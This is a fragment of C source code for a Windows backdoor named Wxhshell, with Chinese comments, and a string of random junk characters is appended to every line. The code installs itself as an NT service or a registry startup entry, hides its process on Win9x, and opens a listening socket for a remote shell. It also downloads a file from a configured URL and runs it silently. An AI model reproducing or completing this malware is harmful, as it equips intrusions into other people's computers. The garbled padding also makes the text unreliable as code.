ULONG UniqueProcessId; K>X#,lE-
ULONG InheritedFromUniqueProcessId; Ac}+Uq
} PROCESS_BASIC_INFORMATION; Ecp]fUQK
[ZU6z?Pf
PROCNTQSIP NtQueryInformationProcess; ]3]I`e{
=mxG[zDtQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XQ]no aU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &^Q-:Kxs8
^JZ ]?iny
HANDLE hProcess; @ofivCc<%
PROCESS_BASIC_INFORMATION pbi; .6aC2A]es
n@ lf+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); , f{<
if(NULL == hInst ) return 0; WzZ<ZCHm
@S\!wjl]C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |;e K5(|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H)z}6[`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
4Ra
2 %UzCK
if (!NtQueryInformationProcess) return 0; "C %<R
G(W/.*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z ^t6VF M
if(!hProcess) return 0; T#kPn#|
0w9)#e+JS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TELN4*
jsB%RvX
CloseHandle(hProcess); jWk1FQte
=vJ:R[Ilw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #v+2W
if(hProcess==NULL) return 0; N\{Xhr7d
@v&hr
HMODULE hMod; OP0KK^#
char procName[255]; "j-Z<F]]
unsigned long cbNeeded; ;:2]++G
F!.Z@y P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qc1NLU9:
KSkT6_<
CloseHandle(hProcess); 0N.B=j|
pFb}5Q
if(strstr(procName,"services")) return 1; // 以服务启动 j<|I@0
-P#PyZEH&I
return 0; // 注册表启动 Ahl-EVIr<
} 4.Luy
-{[5P!
// 主模块 R5OP=Q 8
int StartWxhshell(LPSTR lpCmdLine) r Q)?Bhf
{ ZLm?8g6-
SOCKET wsl; nk=+6r6
BOOL val=TRUE; 2$ m#)*\
int port=0; *|WS,
struct sockaddr_in door; \Gm$hTvB&
Ok63 w7
if(wscfg.ws_autoins) Install(); <% #Dwo}
iQs^2z#Bd
port=atoi(lpCmdLine); w]<V~X
V$wW?+V
if(port<=0) port=wscfg.ws_port; LF6PKS
CVUA7eG+
WSADATA data; ]mIcK
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _v=S4A#tF
k*XI/k5Vc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b,C2(?hg
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O_=2{k~s0
door.sin_family = AF_INET; K9-;-{qb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); AzFd#P
door.sin_port = htons(port); 8(d Hn
0QJ
:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DpD19)ouy
closesocket(wsl); :c75*h`
return 1; rdj_3Utv
} fv@mA --
]k+XL*]' A
if(listen(wsl,2) == INVALID_SOCKET) { S +wy^x@@
closesocket(wsl); YkWv*l
return 1; a
]~Rp
} ]'IZ bx:
Wxhshell(wsl); bsClw
WSACleanup(); P ?^h
SXqWq
return 0; FR*CiaD1
BQW hTS7
} yV"k:_O{
r_R(kns
// 以NT服务方式启动 xA7>";sla[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (U_`Q1Jo
{ +lYo5\1=
DWORD status = 0; uX/K/4
DWORD specificError = 0xfffffff; JRgrg
|)TI&T;k
serviceStatus.dwServiceType = SERVICE_WIN32; "Yp:{e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .4CCR[Het
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %<dvdIB
serviceStatus.dwWin32ExitCode = 0; TEJn;D<1I,
serviceStatus.dwServiceSpecificExitCode = 0; 2uSXC*Phz
serviceStatus.dwCheckPoint = 0; c/Dk*.xy<
serviceStatus.dwWaitHint = 0; O$eNG$7
\_vjc]?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a7Mn/ i.
if (hServiceStatusHandle==0) return; "FD`1
\p4>onGI
status = GetLastError(); =Ff _)k
if (status!=NO_ERROR) 1>yh`Bp\=
{ zG\& ZU
serviceStatus.dwCurrentState = SERVICE_STOPPED; bwR$910b
serviceStatus.dwCheckPoint = 0; r!+..c
serviceStatus.dwWaitHint = 0; QT8GP?F
serviceStatus.dwWin32ExitCode = status; C4[) yJ
serviceStatus.dwServiceSpecificExitCode = specificError; c/6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;{L ~|q J
return; <6.aSOS
} 7y?aw`Sw:
|lDxk[
serviceStatus.dwCurrentState = SERVICE_RUNNING; b#%$y
serviceStatus.dwCheckPoint = 0; -s3q(SH
serviceStatus.dwWaitHint = 0; cy-o@U"s8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UWXl
c
} 02$d
q"@>rU4
// 处理NT服务事件,比如:启动、停止 I%|,KWM
VOID WINAPI NTServiceHandler(DWORD fdwControl) nmo<t]
{ `{KdmWhW
switch(fdwControl) zH5pe
{ n2V
$dF4m
case SERVICE_CONTROL_STOP: #}p@+rkg2
serviceStatus.dwWin32ExitCode = 0;
N%f%
U
serviceStatus.dwCurrentState = SERVICE_STOPPED; n 9>**&5L
serviceStatus.dwCheckPoint = 0; C^IPddw>
serviceStatus.dwWaitHint = 0; W5*Kq^6Pd
{ b)+;=o%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w!%"b03q
} 4j1$1C{
return; :{LNr!I?I
case SERVICE_CONTROL_PAUSE: \: BixBU7
serviceStatus.dwCurrentState = SERVICE_PAUSED; \; voBU
break; eae `#>XP
case SERVICE_CONTROL_CONTINUE: $xU)t&Df
serviceStatus.dwCurrentState = SERVICE_RUNNING; \<aR^Sj.
break; <rihi:4K
case SERVICE_CONTROL_INTERROGATE: {Mpx33
break; ~dBx<
}; FoQy@GnM5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d=nv61]
} 9oU1IT9
NNxzZ!q!
// 标准应用程序主函数 <GWzdj?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n\i~H
{ Cu t7
\1He9~6
// 获取操作系统版本 Y'^+ KU
OsIsNt=GetOsVer(); XiL[1JM
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;?G..,
/:;"rnvq
// 从命令行安装 $5wf{iZY.Q
if(strpbrk(lpCmdLine,"iI")) Install(); ew.jsa`TrW
Kh8
// 下载执行文件 @tIY%;Bgk
if(wscfg.ws_downexe) { 2C
Fgit
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V7"^.W*
WinExec(wscfg.ws_filenam,SW_HIDE); F{G.dXZZ<
} /UqIkc
4 KX\'K
if(!OsIsNt) { 4aiI&,
// 如果时win9x,隐藏进程并且设置为注册表启动 *e25!#o1
HideProc(); qKD
Nw8>
StartWxhshell(lpCmdLine); ElA(1o|9I
} 9vckQCLM
else g)1`A24
if(StartFromService()) sj 3[ny;b
// 以服务方式启动 yBRYEqS+
StartServiceCtrlDispatcher(DispatchTable); Js<DVe,
else /,,IM/(6^
// 普通方式启动 C"QB`f:
StartWxhshell(lpCmdLine); onU\[VvM
l4>c
return 0; 6)veuA3]
}